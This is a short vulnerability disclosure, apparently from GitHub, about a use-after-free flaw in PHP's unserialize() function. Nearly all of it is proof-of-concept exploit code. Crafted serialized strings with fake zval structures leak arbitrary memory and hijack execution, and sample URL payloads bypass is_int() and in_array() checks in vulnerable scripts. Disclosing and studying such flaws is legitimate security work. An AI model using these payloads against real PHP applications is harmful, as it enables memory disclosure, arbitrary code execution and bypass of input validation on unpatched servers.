pch-017.md

February 16, 2015 ยท View on GitHub

About PHP's unserialize() Function Use-After-Free Vulnerability

Taoguang Chen <github.com/chtg> - 2015.1.24 @Ryat

i. Leak Arbitrary Memory

Overwrite an fake string ZVAL POC:
<?php

fake_zval();

$data = 'a:2:{i:0;O:8:"stdClass":2:{s:3:"aaa";a:2:{i:0;s:1:"A";i:1;i:2;}s:3:"aaa";i:3;}i:1;O:8:"stdClass":6:{i:2;i:4;i:3;i:5;i:4;s:2:"AA";i:5;s:'.strlen($zval).':"'.$zval.'";i:6;s:'.strlen($zval).':"'.$zval.'";s:3:"ccc";R:4;}}';

$x = unserialize($data);
$y = serialize($x);
var_dump($y);

function fake_zval()
{
	global $zval;

	$addr = 0x100000000;

	$zval = ptr2str($addr);           
	$zval .= ptr2str(0x400);
	$zval .= "\x00\x00\x00\x00";
	$zval .= "\x06";      
	$zval .= "\x00";
	$zval .= ptr2str(0);
	$zval .= ptr2str(0);
	$zval .= ptr2str(0);
}

function ptr2str($ptr)
{
	$out = "";
	for ($i=0; $i<8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

ii. Execute Arbitrary Code

Overwrite an fake object ZVAL PoC:

<?php

fake_zval();

$data = 'a:7:{i:0;O:8:"stdClass":2:{s:3:"aaa";a:2:{i:0;s:1:"A";i:1;i:2;}s:3:"aaa";i:3;}i:2;i:4;i:3;i:5;i:4;s:2:"AA";i:5;s:'.strlen($zval).':"'.$zval.'";i:6;s:'.strlen($zval).':"'.$zval.'";s:3:"ccc";O:8:"stdClass":2:{s:3:"ddd";a:2:{i:0;R:4;i:1;i:2;}s:3:"ddd";i:3;}}';

$x = unserialize($data);
var_dump($x);

function fake_zval()
{
	global $zval;

	$addr = 0x41414141;

	$zval = ptr2str($addr);
	$zval .= ptr2str(0x11223344);
	$zval .= "\x00\x00\x00\x00";
	$zval .= "\x05";      
	$zval .= "\x00";
	$zval .= ptr2str(0);
	$zval .= ptr2str(0);
	$zval .= ptr2str(0);
}

function ptr2str($ptr)
{
	$out = "";
	for ($i=0; $i<8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

iii. Bypass Syntax Logical

Code sample 1:

$data = unserialize($_GET['data']);

if (is_int($data['ccc'])) {
	$ddd = 'ddd';
	$eee = 'eee';
	$fff = 'fff'.$_GET['fff'];
	$ggg = 'ggg';
	var_dump($data['ccc']);
} else {
	echo 'fuck';
}

Overwrite $data['ccc'] and bypass in_int()

PoC:

foo.php?data=a:3:{i:0;O:8:"stdClass":2:{s:3:"aaa";a:2:{i:0;i:1;i:1;i:2;}s:3:"aaa";i:3;}i:2;i:4;s:3:"ccc";R:5;}&fff=ryat
// Result: string(7) "fffryat"

Code sample 2:

<?php

$data = unserialize($_GET['data']);

if (is_string($data['ccc']) && in_array($data['ccc'], array('ccc'))) {
	$ddd = 'ddd'.$_GET['ddd'];
	$eee = 'eee';
	var_dump($data['ccc']);
} else {
	echo 'fuck';
}

Overwrite $data['ccc'] and bypass in_array()

PoC:

foo.php?data=a:4:{i:0;O:8:"stdClass":2:{s:3:"aaa";a:2:{i:0;s:1:"A";i:1;i:2;}s:3:"aaa";i:3;}i:2;i:4;i:3;i:5;s:3:"ccc";R:4;}&ddd=ryat
// Result: string(7) "dddryat"

iv. Others?

v. Reference

https://bugs.php.net/bug.php?id=68594

EOF